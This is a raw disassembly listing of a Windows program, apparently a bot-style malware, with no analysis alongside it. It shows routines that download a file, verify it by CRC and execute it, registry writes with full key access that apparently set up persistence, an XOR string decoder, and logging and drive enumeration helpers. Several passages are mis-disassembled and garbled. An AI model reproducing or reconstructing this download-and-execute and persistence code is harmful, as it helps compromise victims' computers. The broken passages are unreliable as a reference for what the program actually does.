		mov	ebp, esp
		push	ecx
		and	[ebp+var_4], 0
		push	esi
		push	edi
		mov	esi, offset dword_433E28
		mov	edi, 0B8h


loc_4079CD:				; CODE XREF: sub_4079B9+33j
		cmp	byte ptr [esi],	0
		jz	short loc_4079F0
		push	[ebp+arg_0]
		push	esi
		call	sub_4117C0
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	short loc_4079F0
		inc	[ebp+var_4]
		add	esi, edi
		cmp	esi, offset dword_4349A8
		jl	short loc_4079CD
		jmp	short loc_407A32
; ---------------------------------------------------------------------------


loc_4079F0:				; CODE XREF: sub_4079B9+17j
					; sub_4079B9+26j
		mov	esi, [ebp+var_4]
		push	ebx
		imul	esi, 0B8h
		push	edi
		push	0
		lea	ebx, dword_433E28[esi]
		push	ebx
		call	sub_410870
		push	17h
		push	[ebp+arg_0]
		push	ebx
		call	sub_411C90
		push	9Fh
		lea	eax, dword_433E40[esi]
		push	[ebp+arg_4]
		push	eax
		call	sub_411C90
		add	esp, 24h
		inc	ds:dword_424AA4
		pop	ebx


loc_407A32:				; CODE XREF: sub_4079B9+35j
		mov	eax, [ebp+var_4]
		pop	edi
		pop	esi
		leave
		retn
sub_4079B9	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_407A39	proc near		; CODE XREF: seg000:0040D90Dp

var_200		= byte ptr -200h
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		sub	esp, 200h
		push	esi
		push	edi
		push	0
		push	[ebp+arg_8]
		push	offset dword_422010
		push	[ebp+arg_4]
		push	[ebp+arg_0]
		call	sub_40DFB2
		add	esp, 14h
		xor	edi, edi
		mov	esi, offset dword_433E28


loc_407A63:				; CODE XREF: sub_407A39+72j
		cmp	byte ptr [esi],	0
		jz	short loc_407A9E
		lea	eax, [esi+18h]
		push	eax
		push	esi
		push	edi
		push	offset dword_422004
		lea	eax, [ebp+var_200]
		push	200h
		push	eax
		call	sub_41099A
		push	1
		lea	eax, [ebp+var_200]
		push	[ebp+arg_8]
		push	eax
		push	[ebp+arg_4]
		push	[ebp+arg_0]
		call	sub_40DFB2
		add	esp, 2Ch


loc_407A9E:				; CODE XREF: sub_407A39+2Dj
		add	esi, 0B8h
		inc	edi
		cmp	esi, offset dword_4349A8
		jl	short loc_407A63
		pop	edi
		pop	esi
		leave
		retn
sub_407A39	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_407AB1	proc near		; CODE XREF: start+84p
					; seg000:00401458p ...

var_10		= word ptr -10h
var_E		= word ptr -0Eh
var_A		= word ptr -0Ah
var_8		= word ptr -8
var_6		= word ptr -6
var_4		= word ptr -4
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		sub	esp, 10h
		push	ebx
		push	esi
		lea	eax, [ebp+var_10]
		push	edi
		push	eax
		call	ds:dword_41C100	; GetLocalTime
		mov	ebx, offset dword_433DE4
		mov	edi, 80h
		mov	esi, offset dword_42FDE4


loc_407AD3:				; CODE XREF: sub_407AB1+3Dj
		cmp	byte ptr [ebx],	0
		jz	short loc_407AEA
		push	7Fh
		lea	eax, [ebx+80h]
		push	ebx
		push	eax
		call	sub_411C90
		add	esp, 0Ch


loc_407AEA:				; CODE XREF: sub_407AB1+25j
		sub	ebx, edi
		cmp	ebx, esi
		jge	short loc_407AD3
		movzx	eax, [ebp+var_4]
		push	[ebp+arg_0]
		push	eax
		movzx	eax, [ebp+var_6]
		push	eax
		movzx	eax, [ebp+var_8]
		push	eax
		movzx	eax, [ebp+var_10]
		push	eax
		movzx	eax, [ebp+var_A]
		push	eax
		movzx	eax, [ebp+var_E]
		push	eax
		push	offset a_2d_2d4d_2d_2d ; "[%.2d-%.2d-%4d %.2d:%.2d:%.2d] %s"
		push	edi
		push	esi
		call	sub_41099A
		add	esp, 28h
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_407AB1	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_407B25	proc near		; CODE XREF: sub_405154+15Bp
					; seg000:0040548Bp ...

var_80		= byte ptr -80h
arg_0		= dword	ptr  8
arg_4		= byte ptr  0Ch

		push	ebp
		mov	ebp, esp
		sub	esp, 80h
		lea	eax, [ebp+arg_4]
		push	eax
		lea	eax, [ebp+var_80]
		push	[ebp+arg_0]
		push	80h
		push	eax
		call	sub_4122BF
		lea	eax, [ebp+var_80]
		push	eax
		call	sub_407AB1
		add	esp, 14h
		leave
		retn
sub_407B25	endp


; =============== S U B	R O U T	I N E =======================================



sub_407B51	proc near		; CODE XREF: seg000:0040D804p

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8
arg_8		= dword	ptr  0Ch
arg_C		= dword	ptr  10h

		mov	eax, offset dword_42FDE4
		xor	ecx, ecx


loc_407B58:				; CODE XREF: sub_407B51+13j
		mov	[eax], cl
		add	eax, 80h
		cmp	eax, offset dword_433DE4
		jl	short loc_407B58
		cmp	[esp+arg_C], ecx
		push	esi
		mov	esi, offset dword_422044
		jnz	short loc_407B88
		push	ecx
		push	[esp+8+arg_8]
		push	esi
		push	[esp+10h+arg_4]
		push	[esp+14h+arg_0]
		call	sub_40DFB2
		add	esp, 14h


loc_407B88:				; CODE XREF: sub_407B51+1Fj
		push	esi
		call	sub_407AB1
		pop	ecx
		pop	esi
		retn
sub_407B51	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_407B91	proc near		; DATA XREF: seg000:0040D8B7o

var_31C		= byte ptr -31Ch
var_11C		= dword	ptr -11Ch
var_118		= byte ptr -118h
var_98		= byte ptr -98h
var_18		= dword	ptr -18h
var_14		= dword	ptr -14h
var_10		= dword	ptr -10h
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		sub	esp, 31Ch
		mov	eax, [ebp+arg_0]
		push	esi
		push	edi
		push	45h
		pop	ecx
		mov	esi, eax
		lea	edi, [ebp+var_11C]
		push	1
		rep movsd
		xor	edx, edx
		pop	edi
		cmp	[ebp+var_10], edx
		mov	[ebp+var_8], 80h
		mov	[ebp+var_4], edx
		mov	[eax+110h], edi
		jnz	short loc_407BE4
		push	edx
		lea	eax, [ebp+var_118]
		push	[ebp+var_14]
		push	offset dword_4220AC
		push	eax
		push	[ebp+var_11C]
		call	sub_40DFB2
		add	esp, 14h


loc_407BE4:				; CODE XREF: sub_407B91+33j
		cmp	[ebp+var_98], 0
		jz	short loc_407C04
		lea	eax, [ebp+var_98]
		push	eax
		call	sub_41098F
		test	eax, eax
		pop	ecx
		mov	[ebp+var_4], eax
		jz	short loc_407C04
		mov	[ebp+var_8], eax


loc_407C04:				; CODE XREF: sub_407B91+5Aj
					; sub_407B91+6Ej
		and	[ebp+arg_0], 0
		mov	esi, offset dword_42FDE4


loc_407C0D:				; CODE XREF: sub_407B91+D4j
		mov	eax, [ebp+arg_0]
		cmp	eax, [ebp+var_8]
		jge	short loc_407C67
		cmp	byte ptr [esi],	0
		jz	short loc_407C56
		cmp	[ebp+var_98], 0
		jz	short loc_407C3C
		cmp	[ebp+var_4], 0
		jnz	short loc_407C3C
		lea	eax, [ebp+var_98]
		push	eax
		push	esi
		call	sub_4066B0
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	short loc_407C56


loc_407C3C:				; CODE XREF: sub_407B91+90j
					; sub_407B91+96j
		push	edi
		lea	eax, [ebp+var_118]
		push	[ebp+var_14]
		push	esi
		push	eax
		push	[ebp+var_11C]
		call	sub_40DFB2
		add	esp, 14h


loc_407C56:				; CODE XREF: sub_407B91+87j
					; sub_407B91+A9j
		inc	[ebp+arg_0]
		add	esi, 80h
		cmp	esi, offset dword_433DE4
		jl	short loc_407C0D


loc_407C67:				; CODE XREF: sub_407B91+82j
		lea	eax, [ebp+var_31C]
		push	offset dword_42207C
		push	eax
		call	sub_4104AF
		xor	esi, esi
		pop	ecx
		cmp	[ebp+var_10], esi
		pop	ecx
		jnz	short loc_407CA1
		push	esi
		lea	eax, [ebp+var_31C]
		push	[ebp+var_14]
		push	eax
		lea	eax, [ebp+var_118]
		push	eax
		push	[ebp+var_11C]
		call	sub_40DFB2
		add	esp, 14h


loc_407CA1:				; CODE XREF: sub_407B91+EEj
		lea	eax, [ebp+var_31C]
		push	eax
		call	sub_407AB1
		push	[ebp+var_18]
		call	sub_410277
		pop	ecx
		pop	ecx
		push	esi
		call	near ptr 0A70000h
		movsd
		pop	edi
		pop	esi
sub_407B91	endp ; sp-analysis failed


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_407CC0	proc near		; CODE XREF: seg000:004069A1p
					; seg000:00408AC0p

var_4		= dword	ptr -4
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		push	ecx
		push	ebx
		push	esi
		push	edi
		mov	edi, offset dword_4220D0
		xor	esi, esi
		mov	ebx, offset dword_422514


loc_407CD3:				; CODE XREF: sub_407CC0+69j
		lea	eax, [ebp+var_4]
		push	esi
		push	eax
		push	esi
		push	0F003Fh
		push	esi
		push	esi
		push	esi
		push	dword ptr [edi+4]
		push	dword ptr [edi]
		call	ds:dword_42F9CC
		cmp	[ebp+arg_0], esi
		jz	short loc_407D0D
		push	[ebp+arg_0]
		call	sub_410A70
		pop	ecx
		push	eax
		push	[ebp+arg_0]
		push	1
		push	esi
		push	ebx
		push	[ebp+var_4]
		call	ds:dword_42FA3C
		jmp	short loc_407D17
; ---------------------------------------------------------------------------


loc_407D0D:				; CODE XREF: sub_407CC0+2Fj
		push	ebx
		push	[ebp+var_4]
		call	ds:dword_42F984


loc_407D17:				; CODE XREF: sub_407CC0+4Bj
		push	[ebp+var_4]
		call	ds:dword_42F9F4
		add	edi, 8
		cmp	edi, offset unk_4220E8
		jl	short loc_407CD3
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_407CC0	endp


; =============== S U B	R O U T	I N E =======================================



sub_407D30	proc near		; CODE XREF: sub_407D6B+56p

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		mov	eax, [esp+arg_4]
		mov	edx, [esp+arg_0]
		push	esi
		or	esi, 0FFFFFFFFh
		test	eax, eax
		jz	short loc_407D65
		push	ebx
		push	edi
		lea	edi, [eax]
		mov	ecx, 0FFh


loc_407D49:				; CODE XREF: sub_407D30+31j
		mov	al, [edx]
		mov	ebx, esi
		and	eax, ecx
		and	ebx, ecx
		xor	eax, ebx
		shr	esi, 8
		mov	eax, ds:dword_41C254[eax*4]
		xor	esi, eax
		inc	edx
		dec	edi
		jnz	short loc_407D49
		pop	edi
		pop	ebx


loc_407D65:				; CODE XREF: sub_407D30+Ej
		mov	eax, esi
		pop	esi
		not	eax
		retn
sub_407D30	endp


; =============== S U B	R O U T	I N E =======================================



sub_407D6B	proc near		; CODE XREF: seg000:00408027p

var_10		= dword	ptr -10h
arg_0		= dword	ptr  4

		push	ebx
		push	esi
		xor	ebx, ebx
		push	edi
		push	ebx
		call	sub_410AEB
		mov	[esp+10h+var_10], offset aRb ; "rb"
		push	[esp+10h+arg_0]
		mov	esi, eax
		call	sub_411AB2
		mov	edi, eax
		pop	ecx
		test	edi, edi
		pop	ecx
		jz	short loc_407DBA


loc_407D90:				; CODE XREF: sub_407D6B+4Dj
		test	byte ptr [edi+0Ch], 10h
		jnz	short loc_407DBE
		inc	ebx
		push	ebx
		push	esi
		call	sub_41230F
		mov	esi, eax
		pop	ecx
		test	esi, esi
		pop	ecx
		jz	short loc_407DBA
		push	edi
		push	1
		lea	eax, [esi+ebx-1]
		push	1
		push	eax
		call	sub_4119AA
		add	esp, 10h
		jmp	short loc_407D90
; ---------------------------------------------------------------------------


loc_407DBA:				; CODE XREF: sub_407D6B+23j
					; sub_407D6B+39j
		xor	eax, eax
		jmp	short loc_407DD9
; ---------------------------------------------------------------------------


loc_407DBE:				; CODE XREF: sub_407D6B+29j
		dec	ebx
		push	ebx
		push	esi
		call	sub_407D30
		push	esi
		mov	ebx, eax
		call	sub_410B5F
		push	edi
		call	sub_411954
		add	esp, 10h
		mov	eax, ebx


loc_407DD9:				; CODE XREF: sub_407D6B+51j
		pop	edi
		pop	esi
		pop	ebx
		retn
sub_407D6B	endp

; ---------------------------------------------------------------------------


loc_407DDD:				; DATA XREF: seg000:0040BEADo
					; seg000:0040C33Bo
		push	ebp
		mov	ebp, esp
		sub	esp, 510h
		mov	eax, [ebp+8]
		push	ebx
		push	esi
		push	edi
		mov	ecx, 0AAh
		mov	esi, eax
		lea	edi, [ebp-2CCh]
		push	1
		rep movsd
		pop	edi
		xor	esi, esi
		push	esi
		mov	[eax+2A4h], edi
		push	esi
		push	esi
		lea	eax, [ebp-248h]
		push	esi
		push	eax
		push	ds:dword_42F9C8
		call	ds:dword_42F928
		cmp	eax, esi
		mov	[ebp-18h], eax
		jz	loc_408269
		push	esi
		push	esi
		push	2
		push	esi
		push	esi
		lea	eax, [ebp-148h]
		push	40000000h
		push	eax
		call	ds:dword_41C070	; CreateFileA
		cmp	eax, edi
		mov	[ebp-20h], eax
		jnb	short near ptr loc_407EA3+1
		lea	eax, [ebp-148h]
		push	eax
		lea	eax, [ebp-510h]
		push	offset unk_422360
		push	eax
		call	sub_4104AF
		add	esp, 0Ch
		cmp	[ebp-30h], esi
		jnz	short loc_407E87
		push	esi
		lea	eax, [ebp-510h]
		push	dword ptr [ebp-2Ch]
		push	eax
		lea	eax, [ebp-2C8h]
		push	eax
		push	dword ptr [ebp-2CCh]
		call	sub_40DFB2
		add	esp, 14h


loc_407E87:				; CODE XREF: seg000:00407E65j
		lea	eax, [ebp-510h]
		push	eax
		call	sub_407AB1
		push	dword ptr [ebp-48h]
		call	sub_410277
		pop	ecx
		pop	ecx
		push	esi
		call	near ptr 0A70000h


loc_407EA3:				; CODE XREF: seg000:00407E45j
		xor	byte ptr [ebx],	0FFh
		call	ds:dword_41C04C	; GetTickCount
		mov	ebx, 7D000h
		mov	[ebp-4], eax
		push	ebx
		call	sub_410AEB
		pop	ecx
		mov	[ebp-1Ch], eax


loc_407EBE:				; CODE XREF: seg000:00407F91j
		push	200h
		lea	eax, [ebp-510h]
		push	esi
		push	eax
		call	sub_410870
		add	esp, 0Ch
		lea	eax, [ebp+8]
		push	eax
		lea	eax, [ebp-510h]
		push	200h
		push	eax
		push	dword ptr [ebp-18h]
		call	ds:dword_42F930
		cmp	[ebp-34h], esi
		jz	short loc_407F02
		push	dword ptr [ebp+8]
		lea	eax, [ebp-510h]
		push	eax
		call	near ptr loc_4082CE+1
		pop	ecx
		pop	ecx


loc_407F02:				; CODE XREF: seg000:00407EEFj
		lea	eax, [ebp-24h]
		push	esi
		push	eax
		lea	eax, [ebp-510h]
		push	dword ptr [ebp+8]
		push	eax
		push	dword ptr [ebp-20h]
		call	near ptr 0A70000h
		or	edi, [ebx]
		sti
		jnb	short loc_407F40
		mov	eax, ebx
		sub	eax, edi
		cmp	eax, [ebp+8]
		jbe	short loc_407F2A
		mov	eax, [ebp+8]


loc_407F2A:				; CODE XREF: seg000:00407F25j
		push	eax
		lea	eax, [ebp-510h]
		push	eax
		mov	eax, [ebp-1Ch]
		add	eax, edi
		push	eax
		call	sub_410510
		add	esp, 0Ch


loc_407F40:				; CODE XREF: seg000:00407F1Cj
		add	edi, [ebp+8]
		cmp	[ebp-3Ch], esi
		jz	short loc_407F4D
		cmp	edi, [ebp-3Ch]
		ja	short loc_407F97


loc_407F4D:				; CODE XREF: seg000:00407F46j
		cmp	dword ptr [ebp-44h], 1
		mov	eax, edi
		jz	short loc_407F67
		shr	eax, 0Ah
		push	eax
		lea	eax, [ebp-248h]
		push	eax
		push	offset unk_422314
		jmp	short loc_407F77
; ---------------------------------------------------------------------------


loc_407F67:				; CODE XREF: seg000:00407F53j
		shr	eax, 0Ah
		push	eax
		lea	eax, [ebp-248h]
		push	eax
		push	offset unk_4222D0


loc_407F77:				; CODE XREF: seg000:00407F65j
		mov	eax, [ebp-48h]
		imul	eax, 234h
		add	eax, offset dword_4349A8
		push	eax
		call	sub_4104AF
		add	esp, 10h
		cmp	[ebp+8], esi
		ja	loc_407EBE


loc_407F97:				; CODE XREF: seg000:00407F4Bj
		cmp	[ebp-3Ch], esi
		mov	dword ptr [ebp-14h], 1
		jz	short loc_407FEC
		cmp	edi, [ebp-3Ch]
		jz	short loc_407FEC
		push	dword ptr [ebp-3Ch]
		lea	eax, [ebp-510h]
		mov	[ebp-14h], esi
		push	edi
		push	offset unk_422288
		push	eax
		call	sub_4104AF
		push	esi
		lea	eax, [ebp-510h]
		push	dword ptr [ebp-2Ch]
		push	eax
		lea	eax, [ebp-2C8h]
		push	eax
		push	dword ptr [ebp-2CCh]
		call	sub_40DFB2
		lea	eax, [ebp-510h]
		push	eax
		call	sub_407AB1
		add	esp, 28h


loc_407FEC:				; CODE XREF: seg000:00407FA1j
					; seg000:00407FA6j
		call	ds:dword_41C04C	; GetTickCount
		sub	eax, [ebp-4]
		xor	edx, edx
		mov	ecx, 3E8h
		push	dword ptr [ebp-20h]
		div	ecx
		xor	edx, edx
		mov	ecx, eax
		mov	eax, edi
		inc	ecx
		div	ecx
		mov	ebx, eax
		call	ds:dword_41C068	; CloseHandle
		push	dword ptr [ebp-1Ch]
		call	sub_410B5F
		cmp	[ebp-38h], esi
		pop	ecx
		jz	short loc_408076
		lea	eax, [ebp-148h]
		push	eax
		call	sub_407D6B
		cmp	eax, [ebp-38h]
		pop	ecx
		jz	short loc_408076
		push	dword ptr [ebp-38h]
		mov	[ebp-14h], esi
		push	eax
		lea	eax, [ebp-510h]
		push	offset unk_42224C
		push	eax
		call	sub_4104AF
		push	esi
		lea	eax, [ebp-510h]
		push	dword ptr [ebp-2Ch]
		push	eax
		lea	eax, [ebp-2C8h]
		push	eax
		push	dword ptr [ebp-2CCh]
		call	sub_40DFB2
		lea	eax, [ebp-510h]
		push	eax
		call	sub_407AB1
		add	esp, 28h


loc_408076:				; CODE XREF: seg000:0040801Ej
					; seg000:00408030j
		cmp	[ebp-14h], esi
		jz	loc_4082B6
		cmp	dword ptr [ebp-44h], 1
		jz	loc_408171
		mov	[ebp-8], ebx
		mov	[ebp-4], esi
		fild	qword ptr [ebp-8]
		push	ecx
		push	ecx
		mov	[ebp-8], edi
		mov	[ebp-4], esi
		fmul	ds:dbl_41C658
		lea	eax, [ebp-148h]
		fstp	qword ptr [esp]
		fild	qword ptr [ebp-8]
		push	eax
		push	ecx
		push	ecx
		lea	eax, [ebp-510h]
		fmul	ds:dbl_41C658
		fstp	qword ptr [esp]
		push	offset unk_422200
		push	eax
		call	sub_4104AF
		add	esp, 1Ch
		cmp	[ebp-30h], esi
		jnz	short loc_4080F1
		push	esi
		lea	eax, [ebp-510h]
		push	dword ptr [ebp-2Ch]
		push	eax
		lea	eax, [ebp-2C8h]
		push	eax
		push	dword ptr [ebp-2CCh]
		call	sub_40DFB2
		add	esp, 14h


loc_4080F1:				; CODE XREF: seg000:004080CFj
		lea	eax, [ebp-510h]
		push	eax
		call	sub_407AB1
		cmp	dword ptr [ebp-40h], 1
		pop	ecx
		jnz	loc_4082B6
		push	5
		push	esi
		lea	eax, [ebp-148h]
		push	esi
		push	eax
		push	offset aOpen	; "open"
		push	esi
		call	ds:dword_42F98C
		cmp	[ebp-30h], esi
		jnz	loc_4082B6
		lea	eax, [ebp-148h]
		push	eax
		lea	eax, [ebp-510h]
		push	offset dword_4221C8
		push	eax
		call	sub_4104AF
		push	esi
		lea	eax, [ebp-510h]
		push	dword ptr [ebp-2Ch]
		push	eax
		lea	eax, [ebp-2C8h]
		push	eax
		push	dword ptr [ebp-2CCh]
		call	sub_40DFB2
		lea	eax, [ebp-510h]
		push	eax
		call	sub_407AB1
		add	esp, 24h
		jmp	loc_4082B6
; ---------------------------------------------------------------------------


loc_408171:				; CODE XREF: seg000:00408083j
		mov	[ebp-8], ebx
		mov	[ebp-4], esi
		fild	qword ptr [ebp-8]
		push	ecx
		push	ecx
		mov	[ebp-8], edi
		mov	[ebp-4], esi
		fmul	ds:dbl_41C658
		lea	eax, [ebp-148h]
		fstp	qword ptr [esp]
		fild	qword ptr [ebp-8]
		push	eax
		push	ecx
		push	ecx
		lea	eax, [ebp-510h]
		fmul	ds:dbl_41C658
		fstp	qword ptr [esp]
		push	offset unk_422174
		push	eax
		call	sub_4104AF
		add	esp, 1Ch
		cmp	[ebp-30h], esi
		jnz	short loc_4081D9
		push	esi
		lea	eax, [ebp-510h]
		push	dword ptr [ebp-2Ch]
		push	eax
		lea	eax, [ebp-2C8h]
		push	eax
		push	dword ptr [ebp-2CCh]
		call	sub_40DFB2
		add	esp, 14h


loc_4081D9:				; CODE XREF: seg000:004081B7j
		lea	eax, [ebp-510h]
		push	eax
		call	sub_407AB1
		push	10h
		lea	eax, [ebp-10h]
		push	esi
		push	eax
		call	sub_410870
		push	44h
		lea	eax, [ebp-310h]
		pop	edi
		push	edi
		push	esi
		push	eax
		call	sub_410870
		add	esp, 1Ch
		mov	[ebp-310h], edi
		lea	eax, [ebp-10h]
		mov	dword ptr [ebp-304h], offset byte_42E658
		push	1
		mov	[ebp-2E0h], si
		pop	edi
		push	eax
		lea	eax, [ebp-310h]
		push	eax
		push	esi
		push	esi
		push	28h
		push	esi
		push	esi
		lea	eax, [ebp-148h]
		push	esi
		push	eax
		push	esi
		mov	[ebp-2E4h], edi
		call	near ptr 0A70000h
		pop	edi
		cmp	eax, edi
		jnz	short loc_40825B
		call	ds:dword_42F978
		call	loc_406983
		push	esi
		call	ds:dword_41C104	; ExitProcess


loc_40825B:				; CODE XREF: seg000:00408247j
		lea	eax, [ebp-148h]
		push	eax
		push	offset unk_422128
		jmp	short loc_408275
; ---------------------------------------------------------------------------


loc_408269:				; CODE XREF: seg000:00407E22j
		lea	eax, [ebp-248h]
		push	eax
		push	offset unk_4220E8


loc_408275:				; CODE XREF: seg000:00408267j
		lea	eax, [ebp-510h]
		push	eax
		call	sub_4104AF
		add	esp, 0Ch
		cmp	[ebp-30h], esi
		jnz	short loc_4082A9
		push	esi
		lea	eax, [ebp-510h]
		push	dword ptr [ebp-2Ch]
		push	eax
		lea	eax, [ebp-2C8h]
		push	eax
		push	dword ptr [ebp-2CCh]
		call	sub_40DFB2
		add	esp, 14h


loc_4082A9:				; CODE XREF: seg000:00408287j
		lea	eax, [ebp-510h]
		push	eax
		call	sub_407AB1
		pop	ecx


loc_4082B6:				; CODE XREF: seg000:00408079j
					; seg000:00408102j ...
		push	dword ptr [ebp-18h]
		call	ds:dword_42FA4C
		push	dword ptr [ebp-48h]
		call	sub_410277
		pop	ecx
		push	esi
		call	near ptr 0A70000h


loc_4082CE:				; CODE XREF: seg000:00407EFBp
		test	al, 8Bh
		inc	esp
		and	al, 4
		xor	ecx, ecx
		cmp	[esp+8], ecx
		jle	short locret_4082EB


loc_4082DB:				; CODE XREF: seg000:004082E9j
		mov	dl, ds:byte_42249C
		xor	[ecx+eax], dl
		inc	ecx
		cmp	ecx, [esp+8]
		jl	short loc_4082DB

locret_4082EB:				; CODE XREF: seg000:004082D9j
		retn

; =============== S U B	R O U T	I N E =======================================



sub_4082EC	proc near		; CODE XREF: seg000:0040B0FAp
					; seg000:0040B259p

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		push	[esp+arg_4]
		push	[esp+4+arg_0]
		call	sub_41242F
		pop	ecx
		pop	ecx
		xor	ecx, ecx
		cmp	eax, 0FFFFFFFFh
		setnz	cl
		mov	eax, ecx
		retn
sub_4082EC	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_408306	proc near		; CODE XREF: sub_403906+45Dp
					; sub_403906+5F9p ...

var_38		= byte ptr -38h
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		sub	esp, 38h
		and	[ebp+var_4], 0
		push	ebx
		push	esi
		push	edi
		push	32h
		mov	edi, offset dword_433DE8
		push	0
		push	edi
		call	sub_410870
		mov	ebx, [ebp+arg_0]
		add	esp, 0Ch
		lea	esi, [ebp+var_38]


loc_40832B:				; CODE XREF: sub_408306+5Bj
					; sub_408306+61j
		push	0
		push	0Ah
		push	[ebp+arg_4]
		push	ebx
		call	sub_412090
		push	0
		push	0Ah
		push	[ebp+arg_4]
		add	al, 30h
		mov	[esi], al
		inc	esi
		push	ebx
		call	sub_412110
		mov	ebx, eax
		or	eax, edx
		mov	[ebp+arg_4], edx
		jz	short loc_408369
		inc	[ebp+var_4]
		push	3
		mov	eax, [ebp+var_4]
		pop	ecx
		cdq
		idiv	ecx
		test	edx, edx
		jnz	short loc_40832B
		mov	byte ptr [esi],	2Ch
		inc	esi
		jmp	short loc_40832B
; ---------------------------------------------------------------------------


loc_408369:				; CODE XREF: sub_408306+4Bj
		dec	esi
		mov	eax, edi


loc_40836C:				; CODE XREF: sub_408306+73j
		lea	ecx, [ebp+var_38]
		cmp	esi, ecx
		jb	short loc_40837B
		mov	cl, [esi]
		mov	[eax], cl
		inc	eax
		dec	esi
		jmp	short loc_40836C
; ---------------------------------------------------------------------------


loc_40837B:				; CODE XREF: sub_408306+6Bj
		and	byte ptr [eax],	0
		mov	eax, edi
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_408306	endp


; =============== S U B	R O U T	I N E =======================================



sub_408385	proc near		; CODE XREF: sub_408531+51p
					; sub_408531+87p

arg_0		= dword	ptr  4

		push	[esp+arg_0]
		call	ds:dword_42FA78
		sub	eax, 0
		jz	short loc_4083C8
		dec	eax
		jz	short loc_4083C2
		dec	eax
		dec	eax
		jz	short loc_4083BC
		dec	eax
		jz	short loc_4083B6
		dec	eax
		jz	short loc_4083B0
		dec	eax
		jz	short loc_4083AA
		mov	eax, offset word_421F74
		retn
; ---------------------------------------------------------------------------


loc_4083AA:				; CODE XREF: sub_408385+1Dj
		mov	eax, offset aRam ; "RAM"
		retn
; ---------------------------------------------------------------------------


loc_4083B0:				; CODE XREF: sub_408385+1Aj
		mov	eax, offset aCdrom ; "Cdrom"
		retn
; ---------------------------------------------------------------------------


loc_4083B6:				; CODE XREF: sub_408385+17j
		mov	eax, offset aNetwork ; "Network"
		retn
; ---------------------------------------------------------------------------


loc_4083BC:				; CODE XREF: sub_408385+14j
		mov	eax, offset aDisk ; "Disk"
		retn
; ---------------------------------------------------------------------------


loc_4083C2:				; CODE XREF: sub_408385+10j
		mov	eax, offset aInvalid ; "Invalid"
		retn
; ---------------------------------------------------------------------------


loc_4083C8:				; CODE XREF: sub_408385+Dj
		mov	eax, offset aUnknown ; "Unknown"
		retn
sub_408385	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_4083CE	proc near		; CODE XREF: sub_408416+12p

var_18		= dword	ptr -18h
var_14		= dword	ptr -14h
var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		sub	esp, 18h
		or	eax, 0FFFFFFFFh
		mov	[ebp+var_18], eax
		mov	[ebp+var_14], eax
		mov	[ebp+var_10], eax
		mov	[ebp+var_C], eax
		mov	[ebp+var_8], eax
		mov	[ebp+var_4], eax
		mov	eax, ds:dword_42F914
		test	eax, eax
		jz	short loc_408403
		lea	ecx, [ebp+var_10]
		push	ecx
		lea	ecx, [ebp+var_8]
		push	ecx
		lea	ecx, [ebp+var_18]
		push	ecx
		push	[ebp+arg_4]
		call	eax ; dword_42F914


loc_408403:				; CODE XREF: sub_4083CE+22j
		mov	eax, [ebp+arg_0]
		push	esi
		push	edi
		push	6
		pop	ecx
		lea	esi, [ebp+var_18]
		mov	edi, eax
		rep movsd
		pop	edi
		pop	esi
		leave
		retn
sub_4083CE	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_408416	proc near		; CODE XREF: sub_408531+17p

var_198		= byte ptr -198h
var_118		= byte ptr -118h
var_98		= byte ptr -98h
var_18		= dword	ptr -18h
var_14		= dword	ptr -14h
var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		sub	esp, 198h
		push	esi
		push	edi
		push	[ebp+arg_4]
		lea	eax, [ebp+var_18]
		push	eax
		call	sub_4083CE
		pop	ecx
		mov	esi, eax
		pop	ecx
		lea	edi, [ebp+var_18]
		push	6
		pop	ecx
		rep movsd
		mov	eax, [ebp+var_18]
		and	eax, [ebp+var_14]
		cmp	eax, 0FFFFFFFFh
		jz	loc_4084EE
		mov	eax, [ebp+var_10]
		and	eax, [ebp+var_C]
		cmp	eax, 0FFFFFFFFh
		jz	loc_4084EE
		mov	eax, [ebp+var_8]
		and	eax, [ebp+var_4]
		cmp	eax, 0FFFFFFFFh
		jz	loc_4084EE
		push	ebx
		mov	ebx, 400h
		push	0
		push	ebx
		push	[ebp+var_14]
		push	[ebp+var_18]
		call	sub_412480
		push	edx
		push	eax
		call	sub_408306
		mov	edi, offset aSkb ; "%sKB"
		push	eax
		mov	esi, 80h
		push	edi
		lea	eax, [ebp+var_198]
		push	esi
		push	eax
		call	sub_41099A
		add	esp, 18h
		push	0
		push	ebx
		push	[ebp+var_C]
		push	[ebp+var_10]
		call	sub_412480
		push	edx
		push	eax
		call	sub_408306
		push	eax
		push	edi
		lea	eax, [ebp+var_118]
		push	esi
		push	eax
		call	sub_41099A
		add	esp, 18h
		push	0
		push	ebx
		push	[ebp+var_4]
		push	[ebp+var_8]
		call	sub_412480
		push	edx
		push	eax
		call	sub_408306
		push	eax
